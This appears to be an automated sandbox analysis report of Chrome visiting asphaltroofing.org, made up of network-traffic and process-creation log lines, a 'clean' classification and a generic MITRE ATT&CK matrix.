Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443

Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:50252 version: TLS 1.2

Source: classification engine

Classification label: clean1.win@26/583@58/22

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2220,i,10817936137381034529,2342672398498083502,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.asphaltroofing.org"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2220,i,10817936137381034529,2342672398498083502,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Obfuscated Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
